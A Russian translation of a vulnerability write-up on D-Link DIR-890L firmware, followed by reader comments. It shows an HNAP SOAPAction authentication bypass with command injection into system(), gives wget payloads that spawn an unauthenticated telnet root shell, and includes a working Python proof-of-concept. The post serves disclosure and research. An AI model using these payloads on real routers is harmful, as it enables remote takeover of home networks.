Последние 6 месяцев, я был жутко занят и не следил за новыми хренями от D-Link. Чтобы немного поразвлечься, я зашел на их сайт, и меня поприветствовал этот кошмар:

Insane router
Самый безумный роутер D-Link DIR-890L за $300

Пожалуй, самым «безумным» в роутере является то, что он работает под управлением все той же забагованной прошивки, которую D-Link ставит в свои роутеры вот уже несколько лет…and the hits just keep on coming.

Хорошо, давайте как обычно — возьмем последнюю версию прошивки, пройдемся по ней binwalk и посмотрим, что мы получили:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/7"
116           0x74            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes
1835124       0x1C0074        PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes
1835156       0x1C0094        Squashfs filesystem, little endian, version 4.0, compress

Похоже на обычную прошивку с Linux, а если вы заглядывали в любую прошивку D-Link за последние несколько лет, вы без труда вспомните структуру директорий:

$ ls squashfs-root
bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www

Все, что относится к HTTP, UPnP и HNAP, расположено в директории htdocs. Самый интересный файл здесь — htdocs/cgibin — ELF-бинарник для ARM, который выполняется вебсервером для, хм, почти всего: все симлинки к CGI, UPnP и HNAP-ссылкам ведут на этот файл:

$ ls -l htdocs/web/*.cgi
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin

Он, конечно же, stripped, но в нем есть множество строк, которые будут нам в помощь. В первую очередь, main сравнивает argv[0] со списком известных ему имен симлинков (captcha.cgi, conntrack.cgi и т.д.) чтобы определить, какое действие выполнять:

staircase
Граф вызовов, типичный каскад if/else

Каждое сравнение производится вызовом strcmp на известные имена симлинков:

image
Разные функции обработчиков разных симлинков

Чтобы упростить сопоставление функций-обработчиков и симлинков, переименуем их, согласно имени симлинка:

image
Переименованные функции-обработчики

Теперь, когда у нас есть имена функций, давайте начнем искать баги. Другие устройства от D-Link, работающие под управлением точно такой же прошивки, ранее были взломаны через HTTP и UPnP-интерфейсы, однако, HNAP-интерфейс, который обрабатывается функцией hnap_main в cgibin, похоже, никто особо не смотрел.

HNAP (Home Network Administration Protocol) — протокол на основе SOAP, похожий на UPnP, который обычно используется утилитой для первоначальной настройки D-Link роутеров «EZ». В отличие от UPnP, все действия HNAP, кроме GetDeviceInfo (который бесполезен), требуют HTTP Basic-аутентификацию.

POST /HNAP1 HTTP/1.1
Host: 192.168.0.1
Authorization: Basic YWMEHZY+
Content-Type: text/xml; charset=utf-8
Content-Length: length
SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping"
 
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <AddPortMapping xmlns="http://purenetworks.com/HNAP1/">
   <PortMappingDescription>foobar</PortMappingDescription>
   <InternalClient>192.168.0.100</InternalClient>
   <PortMappingProtocol>TCP</PortMappingProtocol>
   <ExternalPort>1234</ExternalPort>
   <InternalPort>1234</InternalPort>
  </AddPortMapping>
 </soap:Body>
</soap:Envelope>

Заголовок SOAPAction очень важен в HNAP-запросе, т.к. именно он задает, какое действие выполнит сервер (действие AddPortMapping в примере выше).

Вследствие того, что cgibin запускается как CGI-приложение веб-сервером, hnap_main получает данные HNAP-запроса, например, заголовок SOAPAction, через переменные окружения:

image
SOAPAction = getenv(“HTTP_SOAPACTION”);

Ближе к концу hnap_main, вызовом sprintf генерируется shell-команда, которая затем выполняется через system:

image
sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);

Очевидно, что hnap_main использует данные из заголовка SOAPAction внутри команды system! Этот баг подает надежды, особенно, если заголовок SOAPAction не экранируется, и если мы сможем попасть в это место без аутентификации.

В начале hnap_main проверяется, равен ли заголовок SOAPAction строке http://purenetworks.com/HNAP1/GetDeviceSettings, и если он равен, аутентификация пропускается. Это ожидаемо, мы уже подметили ранее, что GetDeviceSettings не требует аутентификации:

image
if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)

Заметим, однако, что для проверки используется функция strstr, которая только проверяет наличие строки http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке SOAPAction, а не равенство ей.
Итак, если заголовок SOAPAction содержит подстроку http://purenetworks.com/HNAP1/GetDeviceSettings, функция достает название действия (т.е. GetDeviceSettings) из заголовка и убирает двойные кавычки:

image
SOAPAction = strrchr(SOAPAction, ‘/’);

Имя действия (GetDeviceSettings) вычленяется из заголовка, затем попадает в system, проходя sprintf.
Вот код на C, который демонстрирует ошибку в логике:

/* Grab a pointer to the SOAPAction header */
SOAPAction = getenv("HTTP_SOAPACTION");
 
/* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */
if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL)
{
    /* do auth check */
}
 
/* Do a reverse search for the last forward slash in the SOAPAction header */
SOAPAction = strrchr(SOAPAction, '/');
if(SOAPAction != NULL)
{
    /* Point the SOAPAction pointer one byte beyond the last forward slash */
    SOAPAction += 1;
 
    /* Get rid of any trailing double quotes */
    if(SOAPAction[strlen(SOAPAction)-1] == '"')
    {
        SOAPAction[strlen(SOAPAction)-1] = '\0';
    }
}
else
{
    goto failure_condition;
}
 
/* Build the command using the specified SOAPAction string and execute it */
sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction);
system(command);

Итак, что мы из этого вынесли:
  • Проверка аутентификации отсутствует, если в заголовке SOAPAction есть подстрока http://purenetworks.com/HNAP1/GetDeviceSettings
  • В sprintfsystem) передается все, что находится после последнего слеша в заголовке SOAPAction

Мы с легкостью можем сформировать заголовок SOAPAction, который будет удовлетворять пропуску аутентификации и позволять нам передавать свою строку в system:
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"

http://purenetworks.com/HNAP1/GetDeviceSettings в заголовке позволяет нам обойти аутентификацию, а строка `reboot` будет передана в system
system("sh /var/run/`reboot`.sh > /dev/console");

Заменой reboot на telnetd мы запустим telnet-сервер без аутентификации:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
 
 
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
 
# 

Мы можем отправлять HNAP-запросы из WAN, если было включено удаленное администрирование. Конечно, брандмауер блокирует все входящие соединения на telnet из WAN. Самое простое решение — убить HTTP-сервер и запустить telnetd на его порту:
$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
 
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
 
# 

Замечу, что wget будет висеть в ожидании ответа, т.к. cgibin будет ожидать завершение telnetd. Вот маленький PoC на Python, который все делает чуточку удобней:
#!/usr/bin/env python
 
import sys
import urllib2
import httplib
 
try:
    ip_port = sys.argv[1].split(':')
    ip = ip_port[0]
 
    if len(ip_port) == 2:
        port = ip_port[1]
    elif len(ip_port) == 1:
        port = "80"
    else:
        raise IndexError
except IndexError:
    print "Usage: %s <target ip:port>" % sys.argv[0]
    sys.exit(1)
 
url = "http://%s:%s/HNAP1" % (ip, port)
# NOTE: If exploiting from the LAN, telnetd can be started on
#       any port; killing the http server and re-using its port
#       is not necessary.
#
#       Killing off all hung hnap processes ensures that we can
#       re-start httpd later.
command = "killall httpd; killall hnap; telnetd -p %s" % port
headers = {
            "SOAPAction"    : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command,
          }
 
req = urllib2.Request(url, None, headers)
try:
    urllib2.urlopen(req)
    raise Exception("Unexpected response")
except httplib.BadStatusLine:
    print "Exploit sent, try telnetting to %s:%s!" % (ip, port)
    print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'"
    sys.exit(0)
except Exception:
    print "Received an unexpected response from the server; exploit probably failed. :("

Я проверил этот баг на прошивках v1.00 и v1.03 (последняя на момент написания статьи), и они обе уязвимы. Но, как это обычно бывает с большинством уязвимостей в embedded, этот код попал и в прошивки других устройств.

Анализировать все прошивки довольно утомительно, поэтому я передал инфромацию о баге команде Centrifuge, у которых есть отличие утилиты для автоматического анализа подобных вещей. Centrifuge обнаружили эту уязвимость в следующих моделях:
  • DAP-1522 revB
  • DAP-1650 revB
  • DIR-880L
  • DIR-865L
  • DIR-860L revA
  • DIR-860L revB
  • DIR-815 revB
  • DIR-300 revB
  • DIR-600 revB
  • DIR-645
  • TEW-751DR
  • TEW-733GR

Насколько я знаю, HNAP на этих устройствах никаким образом отключить нельзя.

UPDATE: Похоже, в начале года этот же баг нашел Samuel Huntly, но он был исправлен только для DIR-645. Патч достаточно хреновый, ждите его разбор в следующем посте.

Комментарии (39)


  1. paratrooper5730
    23.04.2015 16:37
    +8

    Развернуто, красиво, спасибо! А длинки над дизайном работают, что им прошивки эти.


    1. DrPass
      24.04.2015 10:25
      +1

      Это не лишено смысла, кстати. Я себе роутер домой в свое время выбирал в том числе и под интерьер. И по совокупности победил таки D-link DIR-855


  1. JIghtuse
    23.04.2015 16:40
    +6

    Я было подумал, что статью написал сам ValdikSS. Тем не менее, спасибо за перевод.


    1. ValdikSS Автор
      23.04.2015 17:12
      +4

      У меня есть чем вас порадовать, но пока, к сожалению, не могу опубликовать — жду ответа о закрытии уязвимости.


      1. furtaev
        24.04.2015 02:38
        +4

        Давно известно, что уязвимость закрывается гораздо быстрее, когда примером её эксплуатации порадуют всех желающих ;)


  1. dMetrius
    23.04.2015 16:48
    +3

    Неужели кто-то ещё это говно покупает?


    1. ploop
      23.04.2015 16:55
      +5

      Неужели кто-то вообще роутеры покупает, кроме гиков? Какой провайдер поставит — тот и будет работать. А D-Link'и у них весьма популярны.


      1. nochkin
        23.04.2015 18:28

        «У них» обычно по-умолчанию ставят либо просто модем (покупай свой роутер) или комбо-устройство модем+wifi-роутер (часто это Motorola).
        Роутеры типа этого в статье могут поставить не все провайдеры и только за совершенно отдельные деньги и потому схема «роутер от провайдера» не так сильно популярна.


        1. ushanov90
          23.04.2015 20:36

          Ну например ростелеком в Мурманской области ставит всем длинк 2640u. Типа как подарок при подключении. И даже wps не отключают. В результате вокруг меня столько уязвимых точек… Грустно все это.


          1. VladimirUA
            25.04.2015 01:01

            Не поделитесь материальчиком на тему WPS уязвимости?


            1. TheRaven
              25.04.2015 11:55

              Отсюда и далее: habrahabr.ru/post/224955



        1. ploop
          23.04.2015 21:37

          Обычно либо конец в комп, либо роутер в рассрочку, если есть другие девайсы (а у большинства они есть). То же самое и с DSL — только там да, простой модем. Но, как правило, люди провайдера даже не дают выбора: «эта штука нужна, чтоб работало», вот и весь разговор.

          На счёт D-Link'ов: как я понял из статьи, не обязательно такая крутая модель, баг в прошивках имеется в целой линейке, а у них полно дешевых роутеров, которые и любят провайдеры.


    1. rozboris
      23.04.2015 18:19
      +1

      А какие роутеры надо покупать? Asus лучше? Я правда в скором времени собираюсь брать гигабитного двухдиапазонного монстра, поэтому и спрашиваю.


      1. nochkin
        23.04.2015 18:29
        +1

        IMHO лучше покупать роутеры, на которые можно поставить кастомную прошивку (dd-wrt, openwrt и т.п.)


      1. yar3333
        23.04.2015 20:55

        С месяц-два назад поменял свой домашний D-Link 615 на Asus аналогичной ценовой категории. Пропали глюки с мультикаст-штормом в сторону провайдера и перестал отваливаться DDNS.


      1. m0Ray
        23.04.2015 21:10
        +2

        Я лично рекомендовал бы Mikrotik.
        Ну или хотя бы TP-Link, с ними проблем поменьше.


      1. petrovnn
        24.04.2015 21:16
        +1

        я предпочитаю Zyxel, у меня гига2 — доволен как слон. После длинка, ТПлинка и других бюджетных роутеров для меня это нечто невероятное… См мой отзыв на маркете от Петрова Николая.


    1. Meklon
      23.04.2015 22:01
      +3

      Меня удивляет, как это может вообще конкурировать с MikroTik. За эти деньги можно купить штуки две замечательного мощного роутера со всеми возможными плюшками.


      1. vvzvlad
        23.04.2015 22:38
        +5

        И ничего не понять в настройке.


        1. Meklon
          24.04.2015 06:07
          +1

          Тут согласен. После ddwrt было чувство, что за пульт атомного ледокола пустили. Но как хороши железки-то.


      1. GeXoGeN
        24.04.2015 10:31

        К сожалению, микротик до сих пор не предлагает двухдиапазонных решений из коробки, так же как и AC роутеров. А так в целом, полностью согласен с Вами, особенно после выхода модели за 22 доллара.


        1. Meklon
          24.04.2015 12:44

          По хорошему стоит точки доступа отдельно разбрасывать. Я хочу две маломощные разбросать по квартире. Орать из коридора на полной мощности на все комнаты и глушить соседей — плохая идея.


          1. GeXoGeN
            28.04.2015 11:06

            Как это связано с моим комментарием? Две маломощные точки будут глушиться соседскими точками, особенно, если их много.


            1. Meklon
              28.04.2015 11:39

              Смысл в том, чтобы использовать двухдиапазонные маломощные точки от UniFi по комнатам. Если роутер мощно вопит из центра квартиры, то и переотраженный шум выше. А так я с вами согласен, не хватает им таких моделей. Другое дело, что сеть масштабируется добавлением точек доступа. Но лучше все же с контроллером.


              1. GeXoGeN
                28.04.2015 12:10
                +1

                UniFi требует отдельного устройства — контроллера, либо придётся управлять всеми точками по отдельности. У mikrotik'a контроллером может быть любое устройство на routeros. habrahabr.ru/post/217657


                1. Meklon
                  28.04.2015 12:50

                  UniFi требует программный контроллер. Это просто виртуальная машина, запущенная на домашнем сервере. У них точки интереснее. Хотя RouterOS это прекрасная вещь, да.


                1. Meklon
                  28.04.2015 12:51

                  Спасибо, кстати за пост. Добавил в избранное.


      1. Ghool
        24.04.2015 14:06

        5Ghz?


    1. GloooM
      24.04.2015 07:25

      Чтобы снести штатную прошивку и накатить туда OpenWRT. Для этого дела TP-LINK даже выгоднее =))
      А по железкам они кажется все плюс минус одного качества, что асус, что тплинк.


  1. Color
    23.04.2015 18:56
    +11

    Как-то так?
    image


  1. dcc0
    23.04.2015 20:58
    +1

    Dlink dir-320 (хотя уже устарел) шьется прошивкой для Asus, у меня работал 4 года.

    Для D-Link DIR-890L есть DD-WRT.


  1. temujin
    23.04.2015 23:02

    А откуда берется граф вызовов, тоже дизассемблирование?


    1. ValdikSS Автор
      23.04.2015 23:04
      +2

      Да. Его IDA Pro строит, причем этот вид включается по умолчанию после дизассемблирования.


  1. TishSerg
    24.04.2015 10:46

    О, да! sprintf(), а за ним system()… Кто знает, где и сколько ещё уязвимостей есть из-за этой комбинации… Что-то подобное я описывал в статье Эксплуатируем root-уязвимость в роутерах Asus. Только там обмен с роутером по UDP. И даже аутентификация не нужна была.


  1. igorp1024
    24.04.2015 10:58

    Роутер на КДПВ выглядит как роутер-беспилотник.


    1. ploop
      24.04.2015 10:59

      Он и есть. Только судя по багам рулить им может кто угодно :)


  1. umraf
    28.04.2015 12:53

    Подскажите, у кого-нибудь получилось воспроизвести уязвимость? На каких железках?


  1. dcc0
    28.04.2015 13:19

    Для 320 (в смысле для Asus), кстати, был Toolchain и прошивку можно было скомпилировать, кстати, вспомнил, 5 лет назад я именно это и сделал по ману «от Олега»
    А для. DIR-890L такое возможно?